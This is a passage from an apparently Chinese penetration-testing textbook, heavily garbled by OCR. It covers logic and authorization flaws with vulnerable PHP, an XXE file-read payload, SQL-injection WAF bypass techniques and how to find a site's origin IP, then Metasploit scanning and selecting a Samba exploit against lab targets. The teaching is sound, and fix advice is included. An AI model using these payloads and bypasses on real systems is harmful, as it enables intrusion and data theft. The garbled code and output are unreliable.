逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含
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的错误。

精明的攻击者会特别注意目标应用程序采用的逻辑方式，并设法了解设计者与

开发者可能做出的假设，然后考虑如何攻破这些假设，黑客在挖掘逻辑漏洞时有两

个重点：业务流程和HTTP/HTTPS请求篡改。

常见的逻辑漏洞有以下几类。

• 支付订单：在支付订单时，可以篡改价格为任意金额；或者可以篡改运费

或其他费用为负数，导致总金额降低。

• 越权访问：通过越权漏洞访问他人信息或者操纵他人账号。

• 重置密码：在重置密码时，存在多种逻辑漏洞，比如利用session覆盖重置

密码、短信验证码直接在返回的数据包中等。

• 竞争条件：竞争条件常见于多种攻击场景中，比如前面介绍的文件上传漏

洞。 还有一个常见场景就是购物时，例如用户A的余额为10元，商品B的价

格为6元，商品C的价格为5元，如果用户A分别购买商品B和商品C，那余额

肯定是不够的。 但是如果用户A利用竞争条件，使用多线程同时发送购买商

品B和商品C的请求，可能会出现以下这几种结果。

。 有一件商品购买失败。

。 商品都购买成功，但是只扣了6元。

。 商品都购买成功，但是余额变成了一l元。

4 .1 1.2 越权访问攻击

越权访问攻击测试连接： ht甲：／／ 172.16.200. l 2/yuequan/test2/admin/viewpassword. 

php?id=l 。

viewpassword .php页面实现的功能是，当用户登录系统后，可以通过该页面查看

自己的密码，该U也中存在一个参数id=l ，当我们把参数id改为2之后，则可看到id

为2的用户的信息，结果如图4-121和图4-122所示。
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图4-121 访问id=l的用户的信息
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图4-122 访问id=2的用户的信息

4.11.3 逻辑漏洞：越权访问代码分析

I J ＇－－飞
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服务端处理用户查询个人信息的代码如下，程序设计的思路如下所示。

<html > 
<head> 

<meta http-equiv=Content-Type content=” text/html ; cha「set=utf-8”〉
<title 〉个人信息＜／title>

</head> 
<body> 
<?php 
$con=mysqli_connect （” localhost ＂ ， ”「oot","123456”，”test");

if (mysqli_connect_errno()) 

{ 
echo H连接失败： ”. mysqli connect_e「「O「（）；
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if (isset($_GET ［’ use「name'])) { 
$「esult = mysqli_query($con ,”select * f「om use「s whe「E

、 use 「name 、 ＝＇＂ . addslashes($_GET ［’ use「name ’］） ． ”’”）；

$「ow = mysqli＿手etch_a「「ay （$「esult,MYSQLI_ASSOC);
exit( 

<b「／〉．．

}else{ 

’用户 ： <input type＝气ext" name="username" value="' .$row['username ’].…>

’ 密码：＜input type＝” passwo「d" value＝”＼$「ow['passwo「d ’］．’”＞ <br />'. 
· 邮箱 ： <input type＝气ext ” value＝…．$「ow[' email']. '”> <b「／〉’．

’地址 ： <input type＝”text ” value＝＂＇.$「ow ［’ add「ess ＇］. … ＞ < b「／〉’

$user、name = $_POST ［’ use「name'];

$password= $_POST['password ' ]; 
$「esult = mysqli_que「y($con,"select ＊ 于「om use「s where 

、 use「name 、 ＝·” .addslashes($use「name ）. ”’ and 、 passwo「d、＝ ·” . md5($passwo「d ） .” ·”）；

$「ow = mysqli_fetch_ar「ay （$「esult);
if （$「ow) { 

exit （”登录成功” ． 气a h「ef＝’ login.php?use「name＝”；user、name. ＇”〉个人信息

</a >”); 
}else{ 

exit （”登录失败”） ; 

?>
</ body> 
</ html> 

• 在else语句中获取POST的参数username和参数password，然后到数据库中查

询，如果正确，则登录成功，然后跳转到login抖ip?username=$username处

( ifi:吾句）。

• if语句中是登录成功后的代码，获取GET的参数username，然后到数据库中

查询参数username的所有信息，并返回到页面上。

但是此处没有考虑的是，如果直接访问login抖ip?username=admin，那么将直接
执行if语句中的代码，而没有执行else语句中的代码，所以此处不需要登录就可以查

看admin的信息，通过这种方式，就可以越权访问其他用户的信息。
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4 .11.4 越权访问修复建议

越权访问漏洞产生的主要原因是没有对用户的身份做判断和控制，防护这种漏

洞时，可以通过session来控制 。例如在用户登录成功后，；｜每usemame或uid写入到session

中，当用户查看个人信息时，从session中取出usemame，而不是从GET或POST取

usemame，那么此时取到的usemame就是没有被篡改的。

4.12 ××E 漏洞

4.12.1 介绍 XXE 漏洞

XML外部实体注入 C XML External Entity）简称XXE漏洞， XML用于标记电子

文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许

用户对自己的标记语言进行定义的源语言。 XML文档结构包括XML声明、 DTD文档

类型定义（可选）、文档元素。

常见的XML语法结构如图4-1 23所示。

< ?xml versi on="l.0" ?> XML卢 ll月

<!DOC TYPE note [ 
< !ELE问ENT note (to,from,heading,body)> 

<!ELEMENT to (#PCDATA)> 
文护i类’且应义 <DTD )<I ELEMENT fr例（＃PCDATA)>

<!ELEMENT heading (#PCDATA)> 

<!ELE问ENT body (#PCDATA)> 

]>
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图4-123 XML语法结构

其中，文档类型定义 CDTD）可以是内部声明也可以引用外部DTD，如下所示。

. 内部声明DTD格式： ＜ ！DOCTYPE 根元素［元素声明］＞ 。

I J ＇－－ 飞
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、 、J , 

仅供非商业用途或交流学习使用
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• 引用外部DTD格式： ＜!DOCTYPE 根元素 SYSTEM ”文件名”＞。

在DTD中进行实体声明时，将使用ENTITY关键字来声明。实体是用于定义引用

普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明 。

• 内部声明实体格式： ＜!ENTITY 实体名称”实体的值”＞。

• 引用外部实体格式： ＜!ENTITY 实体名称 SYSTEM ’U阳”＞。

4.12 .2 XXE 漏洞攻击

XXE 漏洞攻击的测试地址： htφ：／／ 127 . 0.0 . 1 / 1.php 。

HTTP请求的POST参数如下所示。

<?xml ve「sion＝” 1 . 0 ” ？〉

<!DOCTYPE a [ 
<!ENTITY b SYSTEM ” f ile/// c :/windows /wi n.ini ” >

] >
<xml > 
<xxe >&b ;< / xxe > 
</ xml > 

在POST参数中， 关键语句为“自le///C:/windows/win . ini 飞 该语旬的作用是通过file

协议读取本地文件C :/windows/win.ini ， 如图4- 124所示。

p。sγ/19hp HTTP/ 11 
”。st 127.0.0.1 
Um-Agent Mo副aβ.O~＼＜nd。、.vs NT 10.0; WOW也4；阿击80) Gecko/20100101 F;"f°＂β80 
Accept 阳</html,applocation／由tml咽ml,appHcation/xml;q~0.9 甲；q•0.8
Accept-Langu•g＂由－CN，由：q•08,zl、－矶、， q•0 .7,zh-HK鸿•0.5.en US;q•03 •n刀·0.2
Ampt-Enc。ding: grip, d•flate 
c。nnecti。n d。”
Upg,.de-lnmur< Re邸，＂＂＇ 1 
Cont1n1-Type applicati。n/x·、、＇＂v-form urltncoded 
c。ntent-Ltngth: 128 

< ?xmlvm1。n•"1.0"?>

钊OOCTYPE a ( 
<! ENTITY b SYSTEM ·mo:t//c;/wfnd<nvs/w;nJnt > 

]> 
<xml> 
〈四”＆b ;</xxo>

</xml > 

图4-124 读取文件

4.12.3 XXE 漏洞代码分析

‘ HTTP /1 .1 200 。K
Oate:Thu, 08 Mar 201812:50:42 GMT 
Server. Apache/2.423 队如32) OpenSSL/1.02j m。d_fcgid/2.l.9
X-P。weced-By：问iP/SAAS

c。n 、ecti。n cl。.. 
E。ntent-Type: texνhtml 

c。ntent-Ltngth: 87 

： ，。， 1 •-bltapp <Upp。rt

i，。nt<(

(cxtcn~。”• （
(md 回官回<I ons )

(files) 
)Ma ll ) 
MA阴· 1

服务端处理XML的代码如下，代码的实现过程如下所示。

仅供｜非商业月1途或交流学习使用



<?php 
$xmlfile = file_get_contents('php ://input'); 
$dam = new DOMDocument (); 
$dom->loadXML($xmlfile); 
$xml = simplexml_impor、t_dom($dom);

$xxe = $xml- >xxe ; 
$st「＝”$xxe \n"; 
echo $st「 j

?>
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• 使用file_get_ contents获取客户端输入的内容。

. 使用new DOMDocument（）初始化XML解析器。

• 使用loadXML($xmlfile）加载客户端输入的XML内容。

• 使用 simplexml_import_ dom($dom）获取XML文档节点，如果成功则返回

SimpleXMLElement对象，如果失败则返回FALSE 。

• 获取SimpleXMLElement对象中的节点XXE，然后输出XXE的内容。

可以看到，代码中没有限制XML引入外部实体，所以当我们创建一个包含外部

实体的XML时，外部实体的内容就会被执行。

4.12.4 XXE 漏洞修复建议

针对XXE漏洞的修复，笔者给出以下两点建议。

• 禁止使用外部实体，例如libxml_disable_ entity一1oader( true） 。. 过滤用户提交的X岛1L数据 ， 防止出现非法内容。

4.13 WAF 的那些事

4.13.1 介绍 WAF

/ _,I ＇－ 飞
, --- .--
l • e I 
、、 、J , 

本节主要介绍WAF (Web Application Firewall , Web应用防火墙）及与其相关的

知识，这里利用国际上公认的一种说法 ： Web应用防火墙是通过执行一系列针对

HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品 。

WAF基本上可以分为以下几类。

仅供｜仁商业HJ途或交流学习佼用
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1. 软件型 WAF

以软件形式装在所保护的服务器上的WAF，由于安装在服务器上，所以可以接

触到服务器上的文件，直接检测服务器上是否存在WebShell、是否有文件被创建等。

2 . 硬件型 WAF

以硬件形式部署在链路中，支持多种部署方式，当串联到链路中时可以拦截恶

意流量，在旁路监昕模式时只记录攻击不进行拦截。

3 . 云 WAF

一般以反向代理的形式工作，通过配置NS记录或CNAME记录，使对网站的请求

报文优先经过WAF主机，经过WAF主机过滤后，将认为无害的请求报文再发送给实

际网站服务器进行请求，可以说是带防护功能的CDN。

4 . 网站系统内置的 WAF

网站系统内置的WAF也可以说是网站系统中内置的过滤，直接镶嵌在代码中，

相对来说自由度高，一般有以下这几种情况。

• 输入参数强制类型转换 Cintval等）。. 输入参数合法性检测。
• 关键函数执行 CSQL执行、页面显示、命令执行等〉前，对经过代码流程

的输入注行检测 。

• 对输入的数据进行替换过滤后再继续执行代码流程（转义／替换掉特殊字符

等）。

网站系统内置的WAF与业务更加契合，在对安全与业务都比较了解的情况下，

可以更少地收到误报与漏报。

4.13.2 WAF 判断

本小节主要介绍判断网站是否存在WAF的几种方法。

仅供非商业用途或交流学习使用
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1. SQLMap 

使用SQLMap中自带的WAF识别模块可以识别出WAF的种类，但是如果所安下面

装的WAF并没有什么特征， SQLMap就只能识别出类型是Generic 。

下面以某卫士官网为例，在SQLMap中输入以下命令，结果如图4- 125所示。

图4-125 使用SQLMap识到WAF

可以看到识别出WAF的类型为XXX Web Application Firewall 。

要想了解详细的识别规则可以查看SQLMap的WAF 目录下的相关脚本，也可以按

照其格式自主添加新的WAF识别规则，写好规则文件后直接放到WAF目录下即可。

2 . 手工判断

这个也比较简单，直接在相应网站的URL后面加上最基础的测试语句，比如union

select 1 ,2,3 %23，并且放在一个不存在的参数名中，本例里使用的是参数aaa，如图

4- 126所示，触发了WAF的防护，所以网站存在WAF。

仅供非商业用途或交流学习使用
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口 1 27.0.0.1 /1.php?daa= I union sel旺I 1,2.3%23 

因

该网页无法正常运作

’27且0.1 未发送｛到可缺踞．
ERR EMP刊只吕PO州SE

E圃’
图4-126 WAF拦截了非法请求

因为这里选取了一个不存在的参数，所以实际并不会对网站系统的执行流程造

成任何影响，此时被拦截则说明存在WAF。

被拦截的表现为 （增加了无影响的测试语句后〉： 页面无法访问、响应码不同、

返回与正常请求网页时不同的结果等。

4.13.3 一些 WAF 的绕过方法

本小节主要介绍SQL注入漏洞的绕过方法， 其余漏洞的WAF绕过方法在原理上

是差不多的 。

1. 大小写混合

在规则匹配时只针对了特定大写或特定小写的情况，在实战中可以通过混合大

小写的方式进行绕过 （现在几乎没有这样的情况）， 如下所示。

uNion sElEct 1,2,3,4, 5 

2. URL 编码

• 极少部分的WAF不会对普通字符进行URL解码，如下所示。

union select 1 , 2,3,4, 5 

上述命令将被编码为如下所示的命令。

仅供非商业用途或交流学习佼用
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克75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2ζ%33%2C%34%2C%3 5

• 还有一种情况就是URL二次编码， WAF一般只进行一次解码， 而如果目标

Web系统的代码中进行了额外的URL解码，即可进行绕过。

union select 1,2,3 , 4,5 

上述命令将被编码为如下所示的命令。

%2575%256E%2569%2 56F%256 E%2 520%2 573%2565%256C%2565%2563%25 74%2520%2531%252C%2532% 

252C%2533%252C%2534%252C%2535 

3 . 彗换关键字

WAF采用替换或者删除select/union这类敏感关键词的时候，如果只匹配一次则很

容易进行绕过。

union select 1, 2,3, 4 , 5 

上述命令将转换为如下所示的命令。

unuionion selselect ect 1,2,3 , 4, 5 

4 . 使用注释

注释在截断SQL语句中用得比较多，在绕过WAF时主要使用其替代空格（／＊任意

内容＊／〉 ， 适用于检测过程中没有识别注释或替换掉了注释的WAF。

Union select 1, 2,3,4,5 

上述命令将转换为如下所示的命令。

union/ *2333*/select/* aaaa */l , 2,3 ,4,5 

还可以使用前面章节中介绍的内联注释尝试绕过WAF的检测。

5. 多参数请求拆分

对于多个参数拼接到同一条SQU吾句中的情况，可以将注入语句分割插入。

例如请求URL时， GET参数为如下格式。

a =[inputl ]&b=[input2] 

将GET的参数a和参数b拼接到JSQL语句中， SQL语句如下所示。

and a=[input l ] and b=[input2] 

仅供｜｜＝商业JTJi垂成交流学习使用
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这时就可以将注入语句进行拆分，如下所示。

a=union/*&b=*/select 1,2,3,4 

最终将参数a和参数b拼接，得到的SQL语句如下所示。

and a=union /*and b=*/select 1,2,3,4 

6. HTTP 参数污染

HTTP参数污染是指当同一参数出现多次，不同的中间件会解析为不同的结果，

具体如表4-1所示（例子以参数color－寸ed&color=blue为例〉。

表4-1 HTTP参数污染

服务器中间件 解析结果 举例说明

ASP.NET I IIS 所有出现的参数值用逗号连接 color=red,blue 

ASP I IIS 所有出现的参数值用逗号连接 color=red,blue 

PHP I Apache 仅最后一次出现参数值 color=blue 

PHP I Zeus 仅最后一次出现参数值 color=blue 

JSP, Servlet I Apache Tomcat 仅第一次出现参数值 color=red 

JSP, Servlet/ Oracle Application Server !Og 仅第一次出现参数值 color=red 

JSP, Servlet I Jetty 仅第一次出现参数值 color=red 

IBM Lotus Domino 仅最后一次出现参数值 color=blue 

IBM HTTP Server 仅第一次出现参数值 color=red 

mod _per!, libapreq2 I Apache 仅第一次出现参数值 color=red 

Perl CGI I Apache 仅第一次出现参数值 color=red 

mod wsgi (Python) I Apache 仅第一次出现参数值 color=red 

Python I Zope 转化为 List color=['red’,'blue’ ] 

在上述提到的中间线中， IIS比较容易利用，可以直接分割带逗号的SQL语句 。

在其余的中间线中，如果WAF只检测了 同参数名中的第一个或最后一个， 并且中间

件特性正好取与WAF相反的参数，则可成功绕过。 下面以IIS为例， 一般的SQL注入

语句如下所示。

Inject=union select 1,2,3,4 

将SQL注入语句转换为以下格式。

Inject=union/*&inject=*/select/*&inject=*/l&inject=2&inject=3&inject=4 

最终在IIS中读入的参数值将如下所示。

仅供非商业用途或交流学习使用
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Inject=union/*,*/ select/ *,*/1,2,3,4 

7. 生僻函数

使用生僻函数替代常见的函数，例如在报错注入中使用polygon（）函数替换常用的

updatexml（）函数，如下所示。

SELECT polygon((select吓「om(select叫「om(select~ve「sion)f) x ));

8 . 寻找网阳源站 IP

对于具有云WAF防护的网站而言，只要找到网站的E地址，然后通过IP访问网站，

就可以绕过云WAF的检测 。

常见的寻找网站IP的方法有下面这几种。

. 寻找网站的历史解析记录。

• 多个不同区域ping网站，查看E解析的结果。

• 找网站的二级域名、 NS 、 MX记录等对应的IP 。. 订阅网站邮件，查看邮件发送方的E。

9 . 注入参数到 cookies 申

某些程序员在代码中使用$＿REQUEST获取参数，而$＿REQUEST会依次从

GET/POST/cookie中获取参数，如果WAF只检测了GET/POST而没有检测］cookie，可

以将注入语句放入cookie中进行绕过。
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5.1 Metasploit 简介

Metasploit是当前信息安全与渗透测试领域最流行的术语，它完全颠覆了己有的

渗透测试方式。几乎所有流行的操作系统都支持Metasploit，而且Metasploit框架在这

些系统上的工作流程基本都一样。本章中的示例 ~Kali操作系统为基础，该操作系统

预装Metasploit及在其上运行的第三方工具。 Kali系统的下载地址为h句：／／www.kali .

org/downloads／。

Metasploit框架（Metasploit Framework, MSF）是一个开源工具，旨在方便渗透

测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试

人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口（如控制台、 Web 、 CLI ）。

推荐使用控制台接口，通过控制台接口，你可以访问和使用所有Metasploit的插件，

例如Payload、利用模块、 Post模块等。 Metasploit还有第三方程序的接口，例如Nmap、

SQLMap等，可以直接在控制台接口里使用，要访问该界面，需要在命令行下输入

msfconsole, MSF的启动界面如图5-1所示。



第5幸 Metasploit技术 ... 189 

图5-1 MSF的启动界面

知识点：在使用Kah操作系统时应注意及时更新源，就像平时要及时更新手机App

一个道理。更新命令有apt-get update 、 apt-get upgrade和apt-get dist-upgrade 。

• apt-get update ： 只更新软件包的索引源，作用是同步源的软件包的索引信息，

从而进行软件更新。. 叩t-get upgrade ： 升级系统上安装的所有软件包，若更新失败，所涉及的包

会保持更新之前的状态。

• apt-get dist-upgrade：升级整个Linux系统，例如从Kali Linux 1.0 .1升级到Kali

Linux 1.0.2 （不仅能够升级所有己安装的软件包，而且会处理升级过程中可

能出现的软件冲突。 某些情况下，它的部分升级过程需要人工参与〉。
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5.2 Metasploit 基础

5.2.1 专业术语

MSF框架由多个模块组成，各个模块及其具体的功能如下。

1 Auxiliaries （辅助模块）

该模块不会直接在测试者和目标主机之间建立访问，它们只负责执行扫描、嗅

探、指纹识别等相关功能以辅助渗透测试。

2. Exploit （漏洞利用模块）

漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的

攻击行为。 流行的渗透攻击技术包括缓冲区溢出、 Web应用程序攻击，以及利用配置

错误等，其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序，

用于破坏系统安全性的攻击代码，每个漏洞都有相应的攻击代码。

3. Payload （攻击载荷模块 ）

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码，成

功渗透目标后，用于在目标系统上运行任意命令或者执行特定代码，在Metasploit框

架中可以自由地选择、传送和植入。 攻击载荷也可能是简单地在目标操作系统上执

行一些命令，如添加用户账号等。

4. Post （后期渗透模块）

该模块主要用于在取得目标系统远程控制权后，进行一系列的后渗透攻击动作，

如获取敏感信息、实施跳板攻击等。

5. Encoders （编码工具模块）

该模块在渗透测试中负责免杀，以防止被杀毒软件、防火墙、 IDS及类似的安全

软件检测出来。
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5.2.2 渗透攻击步骤

使用MSF渗透测试时，可以综合使用以上模块，对目标系统进行侦察并发动攻

击，大致的步骤如下所示。

• 扫描目标机系统，寻找可用漏洞。

. 选择并配置一个漏洞利用模块。

• 选择并配置一个攻击载荷模块。

• 选择一个编码技术，用来绕过杀毒软件的查杀。. 渗透攻击。

“理论联系实际”是最好的学习方法，我们已经大概了解了MSF渗透攻击的基

础知识，下面进行一次简单的渗透攻击。

5.3 主机扫描

扫描和收集信息是渗透测试中的第一步，其主要目标是尽可能多地发现有关目

标机器的信息。获取的信息越多，渗透的概率就越大。该步骤的主要关注点是目标

机器E地址、可用服务、开放端口等。

5.3.1 使用辅助模块进行端口扫描

辅助模块是Metasploit的内置模块，首先利用search命令搜索有哪些可用端口模块，

如图5-2所示。
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从图5-2中可以看到可用的扫描器列表，其中包含了各种扫描类型，下面以TCP
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扫描模块举例。

输入use命令即可使用该漏洞利用模块， 使用show options命令查看需要设置的参

数， 如图5-3所示。
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图5 - 3 使用辅助模块

在Required列中 ， 被标记为yes的参数必须包含实际的值，其中阳IOSTS设置待扫

描的IP地址、 PORTS设置扫描端口范围、 THREADS设置扫描线程，线程数量越高，

扫描的速度越多 。 我们使用set命令设置相应的参数，也可以使用unset命令取消某个

参数值的设置，如图5-4所示。
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图5-4 设置参数

可以看到， 目标机器开了 139 、 135 、 445三个端口 。

知识点： 其实还有两条可选命令一－setg命令和unsetg命令。二者用于在msfconsole

中设置或者取消设置全局性的参数值， 从而避免重复输入相同的值。
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5.3.2 使用辅助模块进行服务扫描

在扫描目标机器上运行的服务时，有多种基于服务的扫描技术可供选择，例如

VNC、 FTP 、 SMB等，只需执行特定类型的扫描就可以发现服务。

通过search命令搜索scanner可以发现大量的扫描模块，建议读者多尝试不同的辅

助扫描模块，了解其用法。使用的步骤与使用端口扫描模块时的基本相同，这里就

不演示了，附上一些常用的扫描模块，如表5-1所示。

表5-1 常用的扫描模块及其功能

模 块 工力 4目品’已气

auxi liary/scanner/portscan 端口扫描

auxiliary/scanner/smb/smb version SMB 系统版本扫描

auxiliary/scanner/smb/smb enumusers SMB 枚举

auxiliary/scanner/smb/smb login SMB 弱口令扫描

auxiliary/adrnin/smb/psexec command SMB 登录且执行命令

auxiliary/scanner/ssh/ssh login SSH 登录测试

scanner/mssq l/rnssq I _ping MSSQL 主机信息扫描

admin/mssql/mssql enum MSSQL 枚举

admin/rnssql/mssql exec MSSQL 执行命令

admin/mssql/mssql sq! MSSQL 查询

scanner/mssql/rnssql login MSSQL 弱口令扫描

auxiliary/admin/mysql/mysql enum MySQL 枚举

auxiliary/admin/mysql/rnysql sq! MySQL 语句执行

auxiliary/scanner/mysql/mysql login MySQL 弱口令扫描

auxi liary/scanner/smtp/smtp version SMTP 版本扫描

auxiliary/scanner/smtp/smtp enum SMTP 枚举

auxi liary/scanner/snmp/community SNMP 扫描设备

auxiliary/scanner/telnet/telnet login TELNET 登录

scanner/vnc/vnc none auth VNC 空口令扫描

5.3.3 使用 Nmap 扫描

在Metasploit中同样可以使用Nmap扫描， Nmap的用法在第3章中已经详细讲过，

它不仅可以用来确定目标网络上计算机的存活状态，而且可以扫描计算机的操作系

统、开放端口、服务等。熟练掌握Nmap的用法可以极大地提高个人的渗透测试技术。
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实际使用时，在msf命令提示符下输入nmap ， 就可以显示Nmap提供的扫描选项

列表，如图5-5所示。

E豆工〉 nmap 
［介 J exec nmap 

flJmap 6.49BETA4 ( https://nmap.org ) 
Usage: nmap [Scan Type(s)] [Options] {target specification} 
TARGET SPECIFICATION: 

Can pass hostnames, IP addresses, networks, etc. 
Ex: scanme.nmap.01g, mic1osoft.c。m/24, 192.168.0.1; 10.0.0-255.1-254 
-il <inputfilename>: Input from list of hosts/networks 
-iR <num hosts>: Choose random targets 
- -exclude <host1 [. host2)[, host3].. » Exclude hosts/netv1orks 
--excludefile <exc lude_file>: Exclude list from file 

HOST DISCOVERY: 
-sl: List Scan - simply list targets to scan 
-sn: Ping Scan - disable po1·t scan 
-Pn: Treat all hosts as online -- skip host d1scove1·y 
-PS/PA/PU/PY[portlist]: TCP SYM/ACK. UDP or SCTP discovery to give门口orts

图5 - 5 Nma p参数

现在我们要获取目标主机的操作系统，输入nmap -0 -Pn/-pO URI命令，其中Pn

和，pO C数字0）参数的意思是不使用ping的方式，而且假定所有主机系统都是活动的，

可以穿透防火墙，也可以避免被防火墙发现，如图5-6所示。

E且1 > nmap -0 -Pn 192.168.31.250 
1- J exec: nmap -0 Pn 192 .16日 31. 250 

Starting Nmap 7.40 ( https://nmap org ) at 2017 ，自5-29 23·12 EDT 
Nmap scan rep。rt tor 192.168.31.250 
Host is up 1e.oeeses latenζy) 
Not shown: 981 closed ports 
PORT STATE SERVICE 
53/tcp open domain 
88/tcp open kerberos-sec 
135/tcp open msrpc 
139/tcp open netbios-ssn 
389/tcp open ldap 
445/tζp open m1ζrosoft ds 
464/tcp open kpasswd5 
593/tcp open http-rpζ － epmap 
636/tcp open ldapssl 
3268/tcp open globa\catLOAP 
3269/tζp open globalζatLDAPss l 
3389/tζp open ms-wbt server 
49152/tcp open unknown 
49153/tcp open unkno>m 
49154/tcp open unknown 
49156/tζp open unknown 
49157/tιp open unkno>m 
49158/tcp open unknown 
49159/tcp open unknown 
1怕E Address: OO:OC:29:80:7E:A3 (VI如are)

Device type: qeneral purpose 
Running: lhcrosoft f/rndows 2012[7[8. l 
OS CPE: cpe:/o:rnicrosoft:windows server 2012:r2 cpe:/o:microsoft:windows 7::.ultimate cpe ：／。， microsoft :windows 8.1 
OS details: Microsoft Windows Server 2012 R2 Update 1, Microsoft Windows 7, Windows Server 2012 ，。r Windows 8. i Update I 
Network 01starice-: 1 hop 

图5-6 系统扫描
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可以看到目标主机的操作系统是Windows 20121718.1 o 

5.4 漏洞利用

每个操作系统都会存在各种B吨，像Windows这样有版权的操作系统，微软公司

会快速地开发针对这些Bug或漏洞的补丁，并为用户提供更新。全世界有大量的漏洞

研究人员会夜以继日地发现、研究新的Bug，这些没有公布补丁的Bug就是所谓的Oday

漏洞。由于这种漏洞对网络安全具有巨大威胁，因此Oday漏洞也成为黑客的最爱。实

际上能够掌握Oday漏洞的黑客少之又少。

微软公司会针对发现的Bug定期发布补丁，但是否下载更新则取决于用户自身。

安全意识薄弱的个人用户或者中小企业常会忽略这些工作，特别是在小公司中，从

补丁发布到服务器打补丁需要数星期，虽然打补丁时会涉及机器的重启或死机，对

公司业绩没有帮助又增加了自身的工作量，但是未打补丁或补丁过期的操作系统对

黑客而言是一个快乐的“天堂”。

下面就假设目标机是Metasploitable2，对Linux机器进行渗透攻击。 Metasploitable2

虚拟系统是一个特别制作的Ubuntu操作系统，主要用于安全工具测试和演示常见的

漏洞攻击。该虚拟系统兼容VMware 、 VirtualBox和其他虚拟平台，默认只开启一个

网络适配器并且开启NAT和 Host-Only。该工具可以在网站http ://sourceforge.net/ 

projects/metasploitable/files/Metasploitable2下载。

首先对Linux 目标机进行扫描，收集可用的服务信息。 使用Nmap扫描井查看系统

开放端口和相关的应用程序，如图5-7所示。
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m.s1 > n'Op ·sV 192.168 172.134 
I I exec nmep -sV 192 168 172 134 

Stecting N•ep 6.47 ( http,//nmap 。r可 1 at 2016·12·13 03,26 EST 
Nmap scan cep。 ct f。r 192.168.172.134 
”。st is 叩忡。00082s latency) 
Not shown 977 closed p。 cts

PO肉Y STATE SERVlCεVERSJO则
2t/tcp open ftp vsfcpd 2 3 4 
22/tcp 。pen s.h OpenSSH 4 ~ lpl Debi•＇、 8ubuntul (pcotoc。飞 2.0)
23/tcp open telnet Linux telnetd 
25/tcp open smtp p。sttix smtpo 
53/tcp 。pee d。main !SC BIND 9.4.2 
80/tcp open http Apache httpd 2 2 8 ( (Ubuntu) OAV/2) 
111/tcp 。但en rpcbind 2 ( RPC 的回回的

,139/tcp 叩en netbios·ssn SMba smbd 3 ' （四rl<group 回阳GROUP)
4'5/tcp open netbios·ssn Sa•ba smbd 3.X (worl<gcoup' WORKGR山问
512/tcp 叩on exoc notkit csh meed 
513/tcp open login? 
514/tcp 。pen tcpwcapped 
1699月cp 叩en cmicegl引叶 GNU Clas;path grnicegiStcy 
1524/tcp open she飞飞 Hetasp飞oitable coot 由叭1

2049/tcp open nfs 2 4 (RPC #100003) 
2121/tcp 。pen ftp PcoFTPD 1.3.1 
3306/tcp open •ysq飞 HySQL S.0.51a·3ubunru5 
5432/tcp op凹 postgc臼ql PostgceSQL oa a 3 o a 3 7 
59回归cp open vnc VNC (pcotoc。l 3.3) 
6000/tcp open Xll (access den led) 
6667/tcp 。pen 1 co Unceal iced 
80因此cp 。pen ajpl3 Apache Jse阿（ Pcotoc叭 vi 31 
8180/tcp open http Apache Tomcat/Coyote JSP engine I.I 

图5-7 添加版本扫描

收集到目标机相关信息后，为其选择正确的Exploit和合适的Payload 。 从扫描结

果中发现主机运行着Samba 3.x服务。

Samba是在Linux和UNIX系统上实现SMB C Server Messages Block ， 信息服务块）

协议的一款免费软件。 SMB是一种在局域网上共享文件和打印机的通信协议，它在

局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。

输入msf> search samba命令搜索Samba的漏洞利用模块，并选择合适的漏洞利用

模块，如图5-8所示。

'm且工 > search samba 
I ! J Database n。t c。nnected o r cache not built. using slow search 

！”atching 问。dules

Name Discl。sure Date Rank Desc ripti。n

' auxiliary/admin /smb/samba_symlink traversal normal Samba Symlink Direct。叶 Trave内副
auxilia町／dos/samba/l日＿addprivs_heap normal Samba lsa_io_p口vilege_set 训eap Ove 「fl

。w

auxiliary/d。s/samba八sa t ransnames heap 
J auxiliary/d。s/samba/read_ntt rans_ea_list 
lrflow 

auxiliary/scanner/ rsync I徊。dules_list
expl。it/I reebsd/samba/t 「ans2。penI . ploit/li一h in_reply 

inux x86) 
。xpl。i t/l inux/samba/lsa _ t ransnames_ heap 
expl。i t/linux/samba/set inf op。licy_heap

Inf。 Heap Ove 「flow

｜ …川f…用ns2open
expl。i t/mul ti/samba/nt t 「ans

rfl。w
expl。且／mul ti/samba/usermap script 

图5 -8 搜索Samba的漏洞利用模块

normal Samba lsa_i。＿trans_names Heap Overflow 
normal Samba read_nttrans_ea_list Integer Ove 

normal I毫sync Unauthenticated List Com『nand

2883-84-87 great Samba trans2。pen Overflow I’ BSD x86) 
28Ie-86·16 go。d Samba chain＿「eply Memory Corrupti。n IL 

2887-85-14 g。。d Samba lsa 立。＿ t rans_names Heap Overflow 
2812·例， le normal Samba SetlnformationPolicy AuditEvents 

2883-84 ·87 great Samba t rans2。pen Overflow (Linux x86) 
28G3 84 87 average Samba 2.2 . 2 · 2.2 .6 nt t 「ans Buffer Ove 

2887-85·14 excellent Samba "usemame map script ” c。mmand Ex 
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然后Samba服务将返回漏洞利用模块的列表，按照各个漏洞被利用成功的相对难

易度进行排序。

因为exploit/multi/samba/usermap_script被标记为 “Excellent” ， 即最杰出而且时间

是最新的，为提高渗透成功率，这里选择此模块进行接下来的渗透。

有关漏洞的详细信息可以通过如图5-9所示的命令查看。

也且工＞ inlo expl。l t/mul t i/saoiba／υserniap_sc r ipt 

Name: Samba "username map sc r1pt ” Command Executi。n
”。dul e: expl。1 t/mul t i/samba/usermap _script 

Plat f。rm ：凶、i x 
Pr1v1le9ed: Yes 

license: Hetosploit Framew。 rk Liconse {850) 
Ranl< Excel\en飞

Pr。vidod by 
)duck <J dυck＠阴阳spl。川 .com>

Available ta rgets 
Id Name 

G Au t。而a tic 

Basic opt A。ns
Na•• Cur rent Setting Roqui r ed Doscription 

陪JOST yos Tho targ•t odd ross 
RPORT 139 yes The target p。rt

Payl。ad inf。nnat i。n
Space: 1 02~ 

图5-9 查看模块的详细信息

